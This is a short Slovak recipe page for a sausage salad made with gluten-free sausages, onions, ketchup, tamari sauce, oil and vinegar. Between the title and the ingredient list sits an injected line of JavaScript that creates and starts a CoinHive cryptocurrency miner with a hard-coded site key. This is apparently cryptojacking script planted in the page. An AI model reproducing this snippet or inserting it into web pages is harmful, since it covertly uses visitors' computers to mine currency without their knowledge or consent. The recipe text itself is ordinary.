
Párkový šalát

  var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start(); 

 Potrebujeme: 1 kg tenkých bezlepkových párkov pokrájaných na tenko, 5-6 cibúľ pokrájaných
na tenko, 1celý bezlepkový kečup (odhad), 1 ML čierneho mletého korenia, 1 ML práškového
cukru, Tamari omáčka, 2 PL oleja, 1PL octu, 2-3 PL vody

  

Postup:  Ingrediencie premiešame, Tamari omáčku dáme podľa chute. Keď je omáčka hotová,
premiešame ju spolu s pokrájanou cibuľou a párkami, môžeme potom ešte dochutiť. Uzavrieme
v nádobe a odložíme do chladničky do druhého dňa.
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